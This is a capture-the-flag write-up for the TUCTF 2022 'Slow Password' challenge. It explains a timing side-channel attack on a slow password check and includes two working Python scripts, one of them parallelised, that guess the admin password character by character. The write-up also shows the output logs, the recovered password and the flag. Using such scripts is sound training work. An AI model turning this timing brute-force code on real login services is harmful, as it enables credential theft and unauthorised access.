Slow Password is a misc challenge that was part of the 2022 TUCTF. We have to find a way to get the password. The challenge description:

My friend is hiding a file in his admin panel. He won’t tell me the password, but he’s a lousy coder and I know his password check is slow. Can you help me find the password?

nc chals.tuctf.com 30101

Solution

Like the challenge title says, the password check is slow. We can use this to our advantage. A timing attack can be used to find the password. This means that we can guess the password character by character and don’t have to guess the whole password at once.

First attempt

We have to write a script that measures the time our password guess took and use the results that took the longest.

After some tests, we found out that the length of the password is not being checked. If the correct password would be hackerman, the input hackerman123 would also be a correct guess.

#!/usr/bin/env python
import time
import string
import socket

allowed_chars = string.printable[:-5]

exec_time = 0

def check(input):
    global exec_time
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(("chals.tuctf.com", 30101))
        s.recv(61)
        s.send(input.encode() + b"\n")
        t0 = time.time_ns()
        r = s.recv(64).decode()
        exec_time = time.time_ns() - t0
        s.close()
    if r == "Incorrect password!\n" or r == "":
        return False
    print(r)
    return True

length = 16
tmp = "XXXXXXXXXXXXXXXX"
best = tmp
i = 0
best_time = exec_time

while True:
    for char in allowed_chars:
        input = tmp[:i] + char + tmp[i + 1:]

        print(f"\rgetPassword: {input}", end="\r", flush=True)

        if check(input):
            print(f"getPassword: {best} [{best_time}] ({(i + 1)} \
                /{length})\n", end="\r", flush=True)
            print(input)
            break
        
        if best_time < exec_time:
            best_time = exec_time
            best = input
        
    tmp = best
    print(f"getPassword: {best} [{best_time}] ({(i + 1)} \
        /{length})\n", end="\r", flush=True)
    i += 1

The script is pretty simple. It sends a guess to the server and measures the time it took. If the time is longer than the previous guess, it saves the guess and the time. If the guess is correct, it prints the result and input.

Our first guess was a maximum password length of 16 characters:

getPassword: TXXXXXXXXXXXXXXX [1217399781] (1/16)
getPassword: TfXXXXXXXXXXXXXX [2179548976] (2/16)
getPassword: TfbXXXXXXXXXXXXX [3204734941] (3/16)
getPassword: TfbGXXXXXXXXXXXX [4175906672] (4/16)
getPassword: TfbGMXXXXXXXXXXX [5185307301] (5/16)
getPassword: TfbGMJXXXXXXXXXX [6184137614] (6/16)
getPassword: TfbGMJsXXXXXXXXX [7193670079] (7/16)
getPassword: TfbGMJsEXXXXXXXX [8193642383] (8/16)
getPassword: TfbGMJsEaXXXXXXX [9221110736] (9/16)
getPassword: TfbGMJsEaNXXXXXX [10209376473] (10/16)
getPassword: TfbGMJsEaNTXXXXX [11192792928] (11/16)
getPassword: TfbGMJsEaNTYXXXX [12188362489] (12/16)
getPassword: TfbGMJsEaNTY_XXX [13197804063] (13/16)
getPassword: TfbGMJsEaNTY_4XX [14189329717] (14/16)

But the password was longer… we had to increase the length of our guesses:

getPassword: TfbGMJsEaNTY_46XXXXX [15293849146] (15/20)
getPassword: TfbGMJsEaNTY_468XXXX [16241999659] (16/20)
getPassword: TfbGMJsEaNTY_4682XXX [17189128137] (17/20)
getPassword: TfbGMJsEaNTY_46826XX [18215858283] (18/20)

And again:

getPassword: TfbGMJsEaNTY_468260XXXXXXXXXXXXX [19246731663] (19/32)
getPassword: TfbGMJsEaNTY_468260_XXXXXXXXXXXX [20201848522] (20/32)
getPassword: TfbGMJsEaNTY_468260_cXXXXXXXXXXX [21193429907] (21/32)
getPassword: TfbGMJsEaNTY_468260_cbXXXXXXXXXX [22194173716] (22/32)
getPassword: TfbGMJsEaNTY_468260_cbmXXXXXXXXX [23295253750] (23/32)
getPassword: TfbGMJsEaNTY_468260_cbmaXXXXXXXX [24280882587] (24/32)
getPassword: TfbGMJsEaNTY_468260_cbmabXXXXXXX [25198155575] (25/32)
getPassword: TfbGMJsEaNTY_468260_cbmabfXXXXXX [26254753080] (26/32)
getPassword: TfbGMJsEaNTY_468260_cbmabfuXXXXX [27400676604] (27/32)

At this point, one guess took about 30 seconds, and we have to test ~95 characters per position. This is not going to work (> 45 min / position and more).

Solution

Due to the fact that every correct password position takes about one second, we have to improve our script with multiprocessing. We can send multiple guesses at the same time and use the results later.

#!/usr/bin/env python
import time
import string
import socket

from multiprocessing import cpu_count
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool

allowed_chars = string.printable[:-5]
#allowed_chars = string.ascii_uppercase + "_"
print(allowed_chars)

def check(input):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(("chals.tuctf.com", 30101))
        s.recv(61)
        s.send(input.encode() + b"\n")
        t0 = time.time_ns()
        r = s.recv(64)
        exec_time = time.time_ns() - t0
        s.close()
    if r != b'Incorrect password!\n':
        print("\n\n>", r, "<\n")
    return (input, exec_time)

input = "TfbGMJsEaNTY_468260_cbmabfu"

while True:
    keys = []
    values = []

    with Pool(processes=len(allowed_chars)) as pool:
        results = pool.imap_unordered(check, [input + c for c in \
            allowed_chars])

        for r in results:
            keys.append(r[0])
            values.append(r[1])
            print(r[0][-1], end="", flush=True)

    input = keys[values.index(max(values))]

    print(f" --> {input} [{max(values)}]")

To reduce the number of processes, we sometimes limit the allowed_chars if we thought we could predict the next character.

Output:

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&' \
    ()*+,-./:;<=>?@[\]^_`{|}~
n97m34bh5p8c0ql21g6feskdoitjaruvwxyzABIGEFCHWSONLTDJQMPVRXKUYZ!#"$&%' \
    ()*+/,<:?.-\=;_@]>[^`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_U \
        [33232989195]
bo142i6t0apncrf5me7lgd8sj3qkh9uvwyzAJDGEHXLSVTOQRCBUMKINFPxWYZ!"#$%&' \
    ()*+-./,:;<=>?@\[_^]`{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UM \
        [34307214276]
j6se1dl7bar5im2p8khfco03tqn94gvwuzxyGFBCJIHDERMKQOLUPTNWVSXAY!"Z#$%'& \
    ()*,+-.:/;>[=<@^?]`\_{}|~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMA \
        [35296313070]
k748ti9c0sr21hma3pjfelo5qg6bdnuvwxzyBACEFMHJPIWSQOVKTLRGUNXDYZ!"#$&' \
    %()*+,-./;?=<]@[^:\>_`{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD [36392459645]
250boc4atimd3jpqkge67nhr19lsf8uvwAyDBCHQIFLNKVzUWRGEPxTMXOJSYZ!#"%$& \
    '(),*+-/.:;><=@[]`_\^?{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD? [37250052534]
51j7edhb2sqpm64kot30fig9n8lrcauvywxDGIABQPKURHWTEMLCzJSFOVXNZ!Y#"$%& \
    '(*+),-.:=;</>@[^`\]?_{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_ [38222238694]
36fa8neg920rtb4jmqcko1h5pl7idsvxwuBEzLTFOAUKNQGPyWSHJVXDCRMIYZ!"#$%& \
    '(+)*,.;/<@-?>][=:\^_`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_I [39397937462]
e81q0lg75n932pftjbsidrmkhao64cvuxwBzCEIyKLFROSHXPWUADMVQNTJGYZ!"#$%& \
    '()*.,:+-;</=>?@[\]_`^{}~|  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT [40239271021]
0hq87cl6f42nrg53bk91josaidemtpuvwxAzCFHJyDELBPMUOWVNSRQIGTKXYZ!"#$%& \
    (',).*-+;>=:@/[?<]^\`_{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT_ [41228644377]
35fthibs7j9ac816rdkne42lg0opmquvxwzyABDFCGOQIPNTMSREXHJLUVWKYZ#!$"%& \
    '()*+-,/:[=<;>^.]@\?_`{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT_K [42291698064]
4132570k6q8pb9tnfrdgjhleiocamuwvxzAyCDGIHMNLBPTRWVQUEKFJSOXYZ!"$#%& \
    ()'-+*.;,/:?<\=>@[]^_`{}| ~s --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT_KE [43300268355]
c9hilr67npbofmgd2stke0j84a15q3uvywAFBHIDLzKMROQUTXWEGPJCSxVNYZ"!#%$' \
    (&)*.,+:-/=;<>?@[]^\`_{|}~  --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT_KEE [44241918139]
0bdcjt3a94rq8hns7ef56ig12moklpuvwxAzyBDHCEJMGIKNLFOQRUSVWTXPYZ"!&#$) \
    '*%-+.;(:<,=?]@/[>^\_`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT_KEEP [45230331170]
a21h8lern9o5fscb3mpjk0g4q76dtiuvxywBDCFHMJLKONRAEUVPXzIGQWTSZY!"#$%& \
    ('+).,*-:;/<>=?[@\_`^]{|~ } --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
        UMAD?_IT_KEEPS [46245757557]

Here we only use capital letters and _:

ABCDEFGHIJKLMNOPQRSTUVWXYZ_
IJKFTPXCOGSQYADWBRZLMVENHU_ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
    _IT_KEEPS_ [47287110430]
HIZUYCAKPVOSBJ_NREWDFXMLQTG --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
    _IT_KEEPS_G [48304242679]
H_RBJLDMUSYPWVKIQGCAZETFXNO --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
    _IT_KEEPS_GO [49271433724]
O_LFCEHPVWQZNUBDXTAKSMJYGRI --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
    _IT_KEEPS_GOI [50266267276]
EFWIHXKJSZAVOLYTCGUP_RBDMQN --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
    _IT_KEEPS_GOIN [51319796003]

> b'Welcome, admin! Have a flag:\nTUCTF{wh47_4_5l0w_4l60r17hm_426793}' <
...

The last position can be any character, but the password is not valid without it.

Here, we used G as the last character:

$ nc chals.tuctf.com 30101
<:: Admin Panel Login ::>
------------------------
Password: TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD?_IT_KEEPS_GOING
Welcome, admin! Have a flag:
TUCTF{wh47_4_5l0w_4l60r17hm_426793}

Flag

The flag is “TUCTF{wh47_4_5l0w_4l60r17hm_426793}”.